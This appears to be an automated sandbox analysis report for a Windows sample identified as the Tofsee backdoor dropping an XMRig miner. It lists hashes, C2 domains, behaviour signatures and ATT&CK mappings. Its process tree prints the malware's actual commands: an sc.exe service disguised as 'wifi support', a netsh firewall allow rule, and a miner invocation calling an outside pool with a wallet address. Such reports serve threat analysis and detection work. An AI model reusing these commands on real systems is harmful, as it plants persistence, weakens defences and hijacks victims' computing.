Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    18-06-2022 19:19

General

  • Target

    a3f9e37db86f9f1e0d9c58246cb3b75af495b6681e596d1a2c05920b56c39eb0.exe

  • Size

    308KB

  • MD5

    72541f5e94fd59687c7a857bb531872a

  • SHA1

    e22abc6f1ee814ba56d09d9a539adbe2a9698b99

  • SHA256

    a3f9e37db86f9f1e0d9c58246cb3b75af495b6681e596d1a2c05920b56c39eb0

  • SHA512

    4aaab79e38d03d28b8bfac3f9e62741b61193940c3537d269de33432acc9136da428d30de089c7e6fbd75af2a1fda53c376f665ed0c1172aee8542c3647ae689

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a3f9e37db86f9f1e0d9c58246cb3b75af495b6681e596d1a2c05920b56c39eb0.exe
    "C:\Users\Admin\AppData\Local\Temp\a3f9e37db86f9f1e0d9c58246cb3b75af495b6681e596d1a2c05920b56c39eb0.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3676
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ssnieecr\
      2⤵
        PID:4032
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ynxbope.exe" C:\Windows\SysWOW64\ssnieecr\
        2⤵
          PID:4084
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ssnieecr binPath= "C:\Windows\SysWOW64\ssnieecr\ynxbope.exe /d\"C:\Users\Admin\AppData\Local\Temp\a3f9e37db86f9f1e0d9c58246cb3b75af495b6681e596d1a2c05920b56c39eb0.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1304
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ssnieecr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1540
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ssnieecr
          2⤵
          • Launches sc.exe
          PID:1960
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2836
      • C:\Windows\SysWOW64\ssnieecr\ynxbope.exe
        C:\Windows\SysWOW64\ssnieecr\ynxbope.exe /d"C:\Users\Admin\AppData\Local\Temp\a3f9e37db86f9f1e0d9c58246cb3b75af495b6681e596d1a2c05920b56c39eb0.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2488
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3652
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:860

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ynxbope.exe
        Filesize

        10.7MB

        MD5

        36eaf77ba5d8cabff172eef4f4ce2311

        SHA1

        00f149b6ea9adfc2b19cefb818641598cdd2ed25

        SHA256

        5ba945c3b0fd56c5a8f6b43583d2ec848d9cb933d5a964b3114799584209014a

        SHA512

        dfc9ec2830606258516be606f40252ef21e61af19e4f6ce5684a745a3525234b7b3345a1095afcc29a92ac4994b0365bbe138398b975f2fe31e76e328874cacf

      • C:\Windows\SysWOW64\ssnieecr\ynxbope.exe
        Filesize

        10.7MB

        MD5

        36eaf77ba5d8cabff172eef4f4ce2311

        SHA1

        00f149b6ea9adfc2b19cefb818641598cdd2ed25

        SHA256

        5ba945c3b0fd56c5a8f6b43583d2ec848d9cb933d5a964b3114799584209014a

        SHA512

        dfc9ec2830606258516be606f40252ef21e61af19e4f6ce5684a745a3525234b7b3345a1095afcc29a92ac4994b0365bbe138398b975f2fe31e76e328874cacf

      • memory/860-514-0x0000000000C9259C-mapping.dmp
      • memory/1304-182-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/1304-183-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/1304-184-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/1304-185-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/1304-181-0x0000000000000000-mapping.dmp
      • memory/1540-189-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/1540-188-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/1540-187-0x0000000000000000-mapping.dmp
      • memory/1960-198-0x0000000000000000-mapping.dmp
      • memory/2488-309-0x0000000002C70000-0x0000000002D1E000-memory.dmp
        Filesize

        696KB

      • memory/2488-325-0x0000000000400000-0x0000000002C6C000-memory.dmp
        Filesize

        40.4MB

      • memory/2488-487-0x0000000000400000-0x0000000002C6C000-memory.dmp
        Filesize

        40.4MB

      • memory/2836-210-0x0000000000000000-mapping.dmp
      • memory/3652-306-0x0000000000939A6B-mapping.dmp
      • memory/3652-374-0x0000000000930000-0x0000000000945000-memory.dmp
        Filesize

        84KB

      • memory/3652-488-0x0000000000930000-0x0000000000945000-memory.dmp
        Filesize

        84KB

      • memory/3676-138-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-131-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-117-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-139-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-141-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-142-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-143-0x0000000002D80000-0x0000000002ECA000-memory.dmp
        Filesize

        1.3MB

      • memory/3676-144-0x0000000002D50000-0x0000000002D63000-memory.dmp
        Filesize

        76KB

      • memory/3676-145-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-146-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-147-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-148-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-149-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-150-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-151-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-152-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-153-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-154-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-155-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-156-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-157-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-158-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-159-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-160-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-161-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-162-0x0000000000400000-0x0000000002C6C000-memory.dmp
        Filesize

        40.4MB

      • memory/3676-163-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-164-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-165-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-166-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-167-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-168-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-118-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-119-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-120-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-121-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-122-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-123-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-124-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-125-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-223-0x0000000000400000-0x0000000002C6C000-memory.dmp
        Filesize

        40.4MB

      • memory/3676-215-0x0000000002D50000-0x0000000002D63000-memory.dmp
        Filesize

        76KB

      • memory/3676-126-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-127-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-136-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-135-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-134-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-133-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-132-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-137-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-130-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-129-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/3676-128-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/4032-179-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/4032-173-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/4032-172-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/4032-171-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/4032-170-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/4032-169-0x0000000000000000-mapping.dmp
      • memory/4084-180-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/4084-178-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/4084-177-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/4084-176-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/4084-175-0x0000000077000000-0x000000007718E000-memory.dmp
        Filesize

        1.6MB

      • memory/4084-174-0x0000000000000000-mapping.dmp